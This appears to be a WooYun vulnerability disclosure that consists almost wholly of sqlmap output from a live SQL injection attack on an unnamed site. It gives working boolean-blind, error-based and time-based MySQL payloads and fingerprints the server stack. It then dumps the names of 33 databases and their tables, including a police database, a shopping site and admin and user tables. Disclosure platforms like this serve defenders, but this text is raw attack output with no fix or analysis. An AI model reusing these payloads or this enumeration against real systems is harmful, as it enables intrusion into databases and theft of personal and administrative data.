WooYun.org

注入点：
Place: GET
Parameter: xx
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: xx=1183' AND 5153=5153 AND 'bpsV'='bpsV
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: xx=1183' AND (SELECT 3647 FROM(SELECT COUNT(*),CONCAT(CHAR(58,107,120,113,58),(SELECT (CASE WHEN (3647=3647) THEN 1 ELSE 0 END)),CHAR(58,121,114,115,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'uYsM'='uYsM
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: xx=1183' AND SLEEP(5) AND 'QTfz'='QTfz
---
[23:16:40] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5.0
数据库库名：
available databases [33]:
[*] blfysj
[*] dssk
[*] hsfda
[*] information_schema
[*] jwhr
[*] jxfda
[*] jzfdasj
[*] jznj
[*] jznjsj
[*] jzpmasj
[*] jzyjs
[*] kfqsj
[*] klsj
[*] lsfda
[*] mysql
[*] paimai
[*] police
[*] pyfda
[*] qxfda
[*] root
[*] syfda
[*] test
[*] tgfda
[*] tuangou
[*] web
[*] xncoa
[*] xncsj
[*] xswjtsj
[*] xswsj
[*] xyfda
[*] ycfda
[*] ysfda
[*] zqfda
下面的库对应的表分好了：
Database: tgfda
[9 tables]
+---------------------------------------+
| lfj_artic |
| lfj_cen |
| lfj_fid |
| lfj_jbb |
| lfj_member |
| lfj_roll |
| lfj_sort |
| lfj_tid |
| tsadmin |
+---------------------------------------+
Database: jznj
[12 tables]
+---------------------------------------+
| lfj_artic |
| lfj_cen |
| lfj_fid |
| lfj_member |
| lfj_roll |
| lfj_sort |
| lfj_tid |
| njbt |
| njts |
| tblnews |
| wjxz |
| zyadmin |
+---------------------------------------+
Database: jzpmasj
[17 tables]
+---------------------------------------+
| admin |
| jzxx |
| tblapprove |
| tblcase |
| tblcode |
| tbldoctype |
| tbldoctype_right |
| tbleventlog |
| tblmodule |
| tblnews |
| tblprivilege |
| tbluser |
| tblviewhist |
| title |
| vote |
| wjxz |
| xxxx |
+---------------------------------------+
Database: jzfdasj
[23 tables]
+---------------------------------------+
| admin |
| jzxx |
| lfj_artic |
| log |
| tblapprove |
| tblcase |
| tblcode |
| tbldoctype |
| tbldoctype_right |
| tbleventlog |
| tblmodule |
| tblnews |
| tblprivilege |
| tbluser |
| tblviewhist |
| title |
| vote |
| wjadmin |
| wjlog |
| wjxz |
| wjxz1 |
| xdradmin |
| xzxdr |
+---------------------------------------+
Database: jxfda
[11 tables]
+---------------------------------------+
| lfj_artic |
| lfj_cen |
| lfj_fid |
| lfj_jbb |
| lfj_member |
| lfj_roll |
| lfj_sort |
| lfj_tid |
| tsadmin |
| xdradmin |
| xzxdr |
+---------------------------------------+
Database: xncoa
[14 tables]
+---------------------------------------+
| jzxx |
| tblapprove |
| tblcase |
| tblcode |
| tbldoctype |
| tbldoctype_right |
| tbleventlog |
| tblmodule |
| tblnews |
| tblnewscal |
| tblprivilege |
| tbluser |
| tblviewhist |
| wjxz |
+---------------------------------------+
Database: qxfda
[9 tables]
+---------------------------------------+
| lfj_artic |
| lfj_cen |
| lfj_fid |
| lfj_jbb |
| lfj_member |
| lfj_roll |
| lfj_sort |
| lfj_tid |
| tsadmin |
+---------------------------------------+
Database: tuangou
[46 tables]
+---------------------------------------+
| cenwor_system_failedlogins |
| cenwor_system_log |
| cenwor_system_memberfields |
| cenwor_system_members |
| cenwor_system_onlinetime |
| cenwor_system_report |
| cenwor_system_robot |
| cenwor_system_robot_ip |
| cenwor_system_robot_log |
| cenwor_system_role |
| cenwor_system_role_action |
| cenwor_system_role_module |
| cenwor_system_sessions |
| cenwor_tttuangou_address |
| cenwor_tttuangou_catalog |
| cenwor_tttuangou_city |
| cenwor_tttuangou_express |
| cenwor_tttuangou_express_area |
| cenwor_tttuangou_express_cdp |
| cenwor_tttuangou_express_corp |
| cenwor_tttuangou_express_printer_log |
| cenwor_tttuangou_finder |
| cenwor_tttuangou_metas |
| cenwor_tttuangou_order |
| cenwor_tttuangou_order_clog |
| cenwor_tttuangou_paylog |
| cenwor_tttuangou_payment |
| cenwor_tttuangou_prize_phone |
| cenwor_tttuangou_prize_ticket |
| cenwor_tttuangou_prize_ticket_win |
| cenwor_tttuangou_product |
| cenwor_tttuangou_push_log |
| cenwor_tttuangou_push_queue |
| cenwor_tttuangou_push_template |
| cenwor_tttuangou_question |
| cenwor_tttuangou_recharge_card |
| cenwor_tttuangou_recharge_order |
| cenwor_tttuangou_regions |
| cenwor_tttuangou_seller |
| cenwor_tttuangou_service |
| cenwor_tttuangou_subscribe |
| cenwor_tttuangou_ticket |
| cenwor_tttuangou_uploads |
| cenwor_tttuangou_usermoney |
| cenwor_tttuangou_usermsg |
| cenwor_tttuangou_zlog |
+---------------------------------------+
Database: lsfda
[9 tables]
+---------------------------------------+
| lfj_artic |
| lfj_cen |
| lfj_fid |
| lfj_jbb |
| lfj_member |
| lfj_roll |
| lfj_sort |
| lfj_tid |
| tsadmin |
+---------------------------------------+
Database: police
[33 tables]
+---------------------------------------+
| tblapprove |
| tblarea |
| tblareasub |
| tblcase |
| tblcase_deal |
| tblcase_receive |
| tblcase_search |
| tblchargebill |
| tblchargebill_detail |
| tblcode |
| tblcourse |
| tblcourse_zhouqi |
| tbldoctype |
| tbldoctype_right |
| tbleventlog |
| tblhouse |
| tblmodule |
| tblnews |
| tblnewscal |
| tblpeople |
| tblpolice |
| tblprivilege |
| tblreturnbill |
| tblreturnbill_detail |
| tblshop |
| tblstudent |
| tblstudent_course |
| tblstudent_course_new |
| tbltest |
| tbluser |
| tblviewhist |
| tblvisit |
| tblvote |
+---------------------------------------+
Database: jznjsj
[12 tables]
+---------------------------------------+
| admin |
| tblapprove |
| tblcase |
| tblcode |
| tbldoctype |
| tbldoctype_right |
| tbleventlog |
| tblmodule |
| tblnews |
| tblprivilege |
| tbluser |
| tblviewhist |
+---------------------------------------+
Database: blfysj
[16 tables]
+---------------------------------------+
| admin |
| jzxx |
| tblapprove |
| tblcase |
| tblcode |
| tbldoctype |
| tbldoctype_right |
| tbleventlog |
| tblmodule |
| tblnews |
| tblprivilege |
| tbluser |
| tblviewhist |
| title |
| vote |
| wjxz |
+---------------------------------------+
Database: klsj
[12 tables]
+---------------------------------------+
| admin |
| tblapprove |
| tblcase |
| tblcode |
| tbldoctype |
| tbldoctype_right |
| tbleventlog |
| tblmodule |
| tblnews |
| tblprivilege |
| tbluser |
| tblviewhist |
+---------------------------------------+
Database: xswjtsj
[12 tables]
+---------------------------------------+
| admin |
| tblapprove |
| tblcase |
| tblcode |
| tbldoctype |
| tbldoctype_right |
| tbleventlog |
| tblmodule |
| tblnews |
| tblprivilege |
| tbluser |
| tblviewhist |
+---------------------------------------+
Database: pyfda
[9 tables]
+---------------------------------------+
| lfj_artic |
| lfj_cen |
| lfj_fid |
| lfj_jbb |
| lfj_member |
| lfj_roll |
| lfj_sort |
| lfj_tid |
| tsadmin |
+---------------------------------------+
Database: information_schema
[17 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
Database: syfda
[9 tables]
+---------------------------------------+
| lfj_artic |
| lfj_cen |
| lfj_fid |
| lfj_jbb |
| lfj_member |
| lfj_roll |
| lfj_sort |
| lfj_tid |
| tsadmin |
+---------------------------------------+
Database: xncsj
[19 tables]
+---------------------------------------+
| admin |
| jzxx |
| tblapprove |
| tblcase |
| tblcode |
| tbldoctype |
| tbldoctype20131128 |
| tbldoctype20131128new |
| tbldoctype_right |
| tbleventlog |
| tblmodule |
| tblnews |
| tblprivilege |
| tbluser |
| tblviewhist |
| tblwebset |
| title |
| vote |
| wjxz |
+---------------------------------------+
Database: kfqsj
[16 tables]
+---------------------------------------+
| admin |
| jzxx |
| tblapprove |
| tblcase |
| tblcode |
| tbldoctype |
| tbldoctype_right |
| tbleventlog |
| tblmodule |
| tblnews |
| tblprivilege |
| tbluser |
| tblviewhist |
| title |
| vote |
| wjxz |
+---------------------------------------+
Database: paimai
[5 tables]
+---------------------------------------+
| tblarea |
| tbldoctype |
| tblmanager |
| tblmember |
| tblnews |
+---------------------------------------+
Database: zqfda
[9 tables]
+---------------------------------------+
| lfj_artic |
| lfj_cen |
| lfj_fid |
| lfj_jbb |
| lfj_member |
| lfj_roll |
| lfj_sort |
| lfj_tid |
| tsadmin |
+---------------------------------------+
Database: dssk
[5 tables]
+---------------------------------------+
| tblarea |
| tbldoctype |
| tblmanager |
| tblmember |
| tblnews |
+---------------------------------------+
Database: mysql
[17 tables]
+---------------------------------------+
| columns_priv |
| db |
| func |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| proc |
| procs_priv |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+---------------------------------------+
Database: xswsj
[15 tables]
+---------------------------------------+
| admin |
| tblapprove |
| tblcase |
| tblcode |
| tbldoctype |
| tbldoctype_right |
| tbleventlog |
| tblmodule |
| tblnews |
| tblprivilege |
| tbluser |
| tblviewhist |
| title |
| vote |
| wsbm |
+---------------------------------------+
Database: ysfda
[9 tables]
+---------------------------------------+
| lfj_artic |
| lfj_cen |
| lfj_fid |
| lfj_jbb |
| lfj_member |
| lfj_roll |
| lfj_sort |
| lfj_tid |
| tsadmin |
+---------------------------------------+
Database: jwhr
[5 tables]
+---------------------------------------+
| tbledu |
| tblgive |
| tbljob_person |
| tbljob_person_ori |
| tblwork |
+---------------------------------------+
Database: xyfda
[9 tables]
+---------------------------------------+
| lfj_artic |
| lfj_cen |
| lfj_fid |
| lfj_jbb |
| lfj_member |
| lfj_roll |
| lfj_sort |
| lfj_tid |
| tsadmin |
+---------------------------------------+
Database: hsfda
[9 tables]
+---------------------------------------+
| lfj_artic |
| lfj_cen |
| lfj_fid |
| lfj_jbb |
| lfj_member |
| lfj_roll |
| lfj_sort |
| lfj_tid |
| tsadmin |
+---------------------------------------+
Database: jzyjs
[12 tables]
+---------------------------------------+
| admin |
| lfj_artic |
| lfj_cen |
| lfj_fid |
| lfj_jbb |
| lfj_member |
| lfj_roll |
| lfj_sort |
| lfj_tid |
| title |
| tsadmin |
| vote |
+---------------------------------------+
Database: ycfda
[9 tables]
+---------------------------------------+
| lfj_artic |
| lfj_cen |
| lfj_fid |
| lfj_jbb |
| lfj_member |
| lfj_roll |
| lfj_sort |
| lfj_tid |
| tsadmin |
+---------------------------------------+